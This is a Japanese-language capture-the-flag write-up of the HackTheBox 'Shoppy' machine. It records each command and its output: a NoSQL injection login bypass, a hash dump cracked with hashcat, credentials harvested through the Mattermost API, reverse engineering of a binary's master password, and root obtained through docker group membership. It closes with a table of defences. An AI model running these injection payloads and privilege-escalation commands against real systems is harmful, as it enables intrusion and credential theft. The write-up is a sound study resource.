HackTheBox: Shoppy — 全実行コマンド・実行結果レポート
Nmap スキャン
22(SSH)/80(nginx)/9093(copycat)
→
22(SSH)/80(nginx)/9093(copycat)
NoSQLi認証バイパス
admin’||”===
→
admin’||”===
NoSQLiユーザーダンプ
/exports/export-search.json
→
/exports/export-search.json
hashcatクラック
josh:remembermethisway
→
josh:remembermethisway
Mattermost Deploy Machineチャンネル
jaeger:Sh0ppyBest@pp!
→
jaeger:Sh0ppyBest@pp!
SSH jaeger
user.txt ✓
→
user.txt ✓
password-manager RE
master password = Sample
→
master password = Sample
dockerグループ悪用
/root をコンテナにマウント
→
/root をコンテナにマウント
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & バージョン検出
BASH
nmap -sV -sC -p 22,80,9093 10.129.227.233
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 80/tcp open http nginx 1.23.1 |_http-title: Shoppy Wait Page 9093/tcp open http Golang net/http server (Prometheus系メトリクスエンドポイント, Alertmanager/copycatと推測)
ℹ️
ルートURLにアクセスすると
shoppy.htbへ301リダイレクトされる。
/etc/hostsへの追記が必須。9093番はGo製のメトリクスサーバー(おそらくAlertmanager)で
本筋の攻略ルートには直接関与しない。
サイト内容の確認
BASH
echo "10.129.227.233 shoppy.htb mattermost.shoppy.htb" | sudo tee -a /etc/hosts curl -s http://shoppy.htb/ | grep -i title
RESULT
<title> Shoppy Wait Page </title>
ℹ️
“Wait Page”というタイトルから、今後ここにECサイトが構築される予定のプレースホルダーと推測。
/adminにアクセスすると「Shoppy Admin」のログインページが見つかる。
加えて、HTBマシン名(Shoppy)と開発系サービスの組み合わせから
Mattermost(社内チャット)の存在も見込んで
mattermost.shoppy.htbを先に/etc/hostsへ仕込んでおく。
PHASE 2
Shoppy Admin — NoSQLインジェクションによる認証バイパスとユーザーダンプ
管理画面へのNoSQLi認証バイパス
BASH
curl -s -c cookies.txt -b cookies.txt -L -X POST http://shoppy.htb/login \ --data-urlencode "username=admin'||''===" \ --data-urlencode "password=x"
🚨
バックエンド(Node.js/MongoDB想定)がユーザー入力をサニタイズせずにJavaScriptとして
評価可能な形でクエリに組み込んでいるため、
admin'||''==='という文字列を
usernameに入れると常に真となる条件式になり、パスワードを知らなくても
admin権限のセッションを得られる(NoSQLi認証バイパス)。
管理画面のユーザー検索機能もNoSQLiに脆弱
BASH
curl -s -b cookies.txt \ "http://shoppy.htb/admin/search-users?username=admin';%20return%20''%20==%20'"
RESULT
<h3 class="text-dark mb-0">Search for users in Shoppy App</h3> ... <a ... href=http://shoppy.htb/exports/export-search.json>Download export</a>
⚠️
注意点:
/admin/search-users?username=...自体はただの検索画面
(HTMLフォームページ)を返すだけで、インジェクション結果のJSONを直接は返さない。
ページ内に/exports/export-search.jsonへの「Download export」リンクがあり、
実際のダンプ結果はこの別エンドポイントに副作用として書き出される。
検索クエリを送った直後にこのエクスポートファイルを別途取得する必要がある。
エクスポートファイルから全ユーザーのMD5ハッシュをダンプ
BASH
curl -s -b cookies.txt "http://shoppy.htb/exports/export-search.json"
RESULT
[{"_id":"62db0e93d6d6a999a66ee67a","username":"admin","password":"23c6877d9e2b564ef8b32c3a23de27b2"},
{"_id":"62db0e93d6d6a999a66ee67b","username":"josh","password":"6ebcea65320589ca4f2f1ce039975995"}]
✅
MongoDBコレクション全体のusername/passwordペア(MD5ハッシュ)がそのまま漏洩。
adminとjoshの2ユーザーが存在する。
PHASE 3
MD5クラック & Mattermostの「Deploy Machine」チャンネルから実資格情報を入手
joshのMD5ハッシュをhashcatでクラック
BASH
echo "6ebcea65320589ca4f2f1ce039975995" > josh.hash hashcat -a 0 -m 0 josh.hash /usr/share/wordlists/rockyou.txt --quiet hashcat -a 0 -m 0 josh.hash /usr/share/wordlists/rockyou.txt --show
RESULT
6ebcea65320589ca4f2f1ce039975995:remembermethisway
ℹ️
MD5(-m 0)の素のロックユー辞書攻撃であっさりクラック成功。この資格情報は
SSHでは通らない(Shoppy Adminサイトのログイン専用パスワードと思われる)ため、
他に資格情報を使い回していそうなサービスを探す。
Mattermostへjoshとしてログイン
BASH
curl -s -D headers.txt -X POST http://mattermost.shoppy.htb/api/v4/users/login \
-H "Content-Type: application/json" \
-d '{"login_id":"josh","password":"remembermethisway"}'
grep -i '^Token:' headers.txt
RESULT
HTTP/1.1 200 OK
Token: hxtr9nrgkpyiufcyw851nx3wue
✅
パスワード使い回しでMattermostにログイン成功。Mattermost REST APIは
ログイン成功時のレスポンスヘッダー
Tokenにセッショントークンを返す。
以降のAPI呼び出しはAuthorization: Bearer <token>で認証する。
参加チャンネル一覧から「Deploy Machine」を発見
BASH
TOKEN=hxtr9nrgkpyiufcyw851nx3wue TEAM=$(curl -s -H "Authorization: Bearer $TOKEN" \ http://mattermost.shoppy.htb/api/v4/users/me/teams | jq -r '.[0].id') curl -s -H "Authorization: Bearer $TOKEN" \ "http://mattermost.shoppy.htb/api/v4/users/me/teams/$TEAM/channels" \ | jq -r '.[] | "\(.id) \(.name) \(.display_name)"'
RESULT
6kfsfcpnf3yazd4t4u5ico8raw coffee-break Coffee Break
8mw8idteyjn8xddguf41i1umee deploy-machine Deploy Machine
nz3zkr5ppbrpi8sc65sh7pewgc development Development
sj67j3ij9p8im8y63e6mawbziy town-square Town Square
チャンネル履歴からjaegerのSSH資格情報を発見
BASH
curl -s -H "Authorization: Bearer $TOKEN" \ "http://mattermost.shoppy.htb/api/v4/channels/8mw8idteyjn8xddguf41i1umee/posts" \ | jq -r '.order[] as $id | .posts[$id].message'
RESULT (投稿メッセージ、古い順)
Hey @josh, For the deploy machine, you can create an account with these creds : username: jaeger password: Sh0ppyBest@pp! And deploy on it. --- Thanks, I'll remember that The deploy machine will be created within the next 24h --- Oh I forgot to tell you, that we're going to use docker for the deployment, so I will add it to the first deploy
🚨
社内チャットのやり取りに平文の資格情報がそのまま残っている典型例。
jaeger:Sh0ppyBest@pp!を入手。おまけに「dockerを使ってデプロイする」という
後の権限昇格を予告する会話まで残っている。
PHASE 4
SSHログイン & user.txt取得
jaeger資格情報でSSHログイン
BASH
sshpass -p 'Sh0ppyBest@pp!' ssh jaeger@10.129.227.233 \ "id; hostname; cat /home/jaeger/user.txt"
RESULT
uid=1000(jaeger) gid=1000(jaeger) groups=1000(jaeger) shoppy b49a41ff7d375f014c917f59ab7194c6
user.txt — jaeger
b49a41ff7d375f014c917f59ab7194c6
PHASE 5
password-managerバイナリのリバースエンジニアリング
sudo権限の確認
BASH
jaeger@shoppy:~$ sudo -l
RESULT
[sudo] password for jaeger:
User jaeger may run the following commands on shoppy:
(deploy) /home/deploy/password-manager
ℹ️
NOPASSWDではない点に注意(後述のスクリプト化で重要)。jaeger自身の
SSHパスワードを使ってsudo認証したうえで、deployユーザーとして
password-managerを実行できる。
バイナリを取得しstringsで調査 — マスターパスワードは見つからない
BASH
scp jaeger@10.129.227.233:/home/deploy/password-manager . file password-manager strings password-manager | grep -iE 'sample|master|password'
RESULT
password-manager: ELF 64-bit LSB pie executable, x86-64, ... not stripped Welcome to Josh password manager! Please enter your master password: password-manager.cpp
⚠️
stringsにはプロンプト文言だけで、肝心のマスターパスワード文字列
「Sample」がどこにも見当たらない。これは偶然ではなく、後述の通り
1文字ずつ分割されたリテラルを実行時に連結しているため。
objdumpで逆アセンブルし文字列構築ロジックを特定
BASH
objdump -d -C password-manager | awk '/<main>:/,/^$/'
RESULT (抜粋・6回の operator+= 呼び出し)
lea 0xdb9(%rip),%rsi # 0x205d call ...::operator+=(char const*) lea 0xdaa(%rip),%rsi # 0x205f call ...::operator+=(char const*) lea 0xd99(%rip),%rsi # 0x2061 call ...::operator+=(char const*) lea 0xd88(%rip),%rsi # 0x2063 call ...::operator+=(char const*) lea 0xd77(%rip),%rsi # 0x2065 call ...::operator+=(char const*) lea 0xd66(%rip),%rsi # 0x2067 call ...::operator+=(char const*) ... call ...::basic_string<...>::compare(...) test %eax,%eax sete %al
BASH (各オフセットの.rodataの中身を確認)
objdump -s -j .rodata password-manager
RESULT
0x205d: S\0 0x205f: a\0 0x2061: m\0 0x2063: p\0 0x2065: l\0 0x2067: e\0
🚨
マスターパスワード「Sample」が1文字ごとに独立したヌル終端文字列リテラルとして
バラバラに配置され、実行時に
std::string::operator+=を6回呼んで連結
してから、ユーザー入力とcompare()している。stringsで検出されない
ようにする単純な難読化だが、逆アセンブルすれば一瞬で見抜ける。
マスターパスワード「Sample」を入力しdeploy資格情報を取得
BASH (jaegerのsudoパスワード → マスターパスワードの順に2行渡す)
printf 'Sh0ppyBest@pp!\nSample\n' | sudo -S -u deploy /home/deploy/password-manager
RESULT
Welcome to Josh password manager!
Please enter your master password: Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!
⚠️
ハマりどころ: jaegerのsudoは
NOPASSWDではないため、
標準入力に1行だけマスターパスワードを流すとその1行はsudo自身のパスワード
プロンプトに消費されてしまい、password-manager本体には何も渡らず失敗する。
jaeger自身のSSHパスワード→マスターパスワードの順に2行をパイプする必要がある。
PHASE 6
dockerグループの悪用 & root.txt取得
deployユーザーのグループ確認
BASH
sshpass -p 'Deploying@pp!' ssh deploy@10.129.227.233 "id"
RESULT
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
🚨
docker グループのメンバーはroot同等の権限を持つという古典的な
権限昇格ポイント。dockerデーモンのソケットに直接アクセスできるため、
ホストの任意のディレクトリをマウントしたコンテナを起動できてしまう。
Mattermostのやり取りで「dockerを導入する」と予告されていた通りの展開。
/root をマウントしたコンテナでroot.txtを読む
BASH
sshpass -p 'Deploying@pp!' ssh deploy@10.129.227.233 \ "docker run --rm -v /root:/mnt alpine sh -c 'id; cat /mnt/root.txt'"
RESULT
uid=0(root) gid=0(root) groups=0(root),... ← コンテナ内はroot 45815acc3059b444135a2a6c0c0b61f6
✅
ホストの
/rootをコンテナ内の/mntにバインドマウントし、
コンテナ内はroot権限で動くため、ホスト側の所有者がrootであってもファイル内容を
自由に読み取れる。chrootして/bin/bashをSUID化する等、
完全なホストroot化も同様に可能。
root.txt — root (dockerグループ経由)
45815acc3059b444135a2a6c0c0b61f6
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — jaeger
b49a41ff7d375f014c917f59ab7194c6
root.txt — root
45815acc3059b444135a2a6c0c0b61f6
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| NoSQLインジェクション(認証バイパス) | Shoppy Admin /login |
管理者認証の完全バイパス | Critical | username=admin'||''===でMongoDBクエリの論理条件を操作 |
| NoSQLインジェクション(データ漏洩) | 管理画面ユーザー検索 + /exports/export-search.json |
全ユーザーのMD5ハッシュ漏洩 | Critical | 検索クエリにJavaScript評価可能な文字列を注入し、副作用のエクスポートファイルから全件ダンプ |
| 弱いパスワード + パスワード使い回し | josh のMD5ハッシュ / Mattermostアカウント | 内部チャットへの不正アクセス | Medium | rockyouでMD5を即座にクラックし、同じ資格情報がMattermostログインにも有効 |
| チャットツールへの平文資格情報の記録 | Mattermost「Deploy Machine」チャンネル | SSH資格情報の漏洩 | High | 過去の投稿メッセージにjaegerのSSHパスワードが平文で残存 |
| 文字列難読化のみのマスターパスワード保護 | /home/deploy/password-manager (sudo経由実行可) | deployユーザー資格情報の漏洩 | Medium | stringsでは検出されないが、objdumpでの逆アセンブルで1文字連結ロジックを解析し突破 |
| dockerグループへの一般ユーザー所属 | deployユーザー (docker group 998) | 権限昇格(一般ユーザー → root同等) | Critical | docker run -v /root:/mntでホストの任意ディレクトリをroot権限コンテナにマウント |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + vhost追加 | 22(SSH)/80(nginx shoppy.htb)/9093 |
| 2 | NoSQLi | 認証バイパス + エクスポートファイル経由ダンプ | admin/josh のMD5ハッシュ |
| 3 | クラック & 横移動 | hashcat + Mattermost API | jaeger:Sh0ppyBest@pp!(チャット履歴より) |
| 4 | フットホールド | SSH | user.txt(jaeger) |
| 5 | バイナリ解析 | objdump逆アセンブル | master password = Sample → deploy:Deploying@pp! |
| 6 | 権限昇格 | dockerグループ + バインドマウント | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| ユーザー入力をサニタイズせずMongoDBクエリ/JavaScript評価に使用 | Mongooseのスキーマバリデーションを必須化し、$where等の任意JS評価クエリ演算子を無効化する。入力値の型を厳密にチェックする。 |
| 検索結果が認証チェックの甘いエクスポートエンドポイントに平文で書き出される | エクスポート機能にも認可チェックを適用し、パスワードハッシュ等の機密フィールドは出力対象から除外する。 |
| 社内チャットツールに平文の資格情報を投稿する運用 | 資格情報の共有は専用のシークレット管理ツール(Vault等)を使い、チャットでの平文共有を禁止する。 |
| 秘密情報保護が「strings逃れ」程度の表層的な難読化のみ | 真に機密な認証をバイナリに埋め込むこと自体を避け、外部の認証基盤・ハードウェアトークン等に委譲する。 |
| 一般運用ユーザーがdockerグループに所属している | dockerグループへの所属はroot権限と同等であることを周知し、必要な場合はrootlessモードやPodman等の非特権コンテナランタイムを検討する。 |

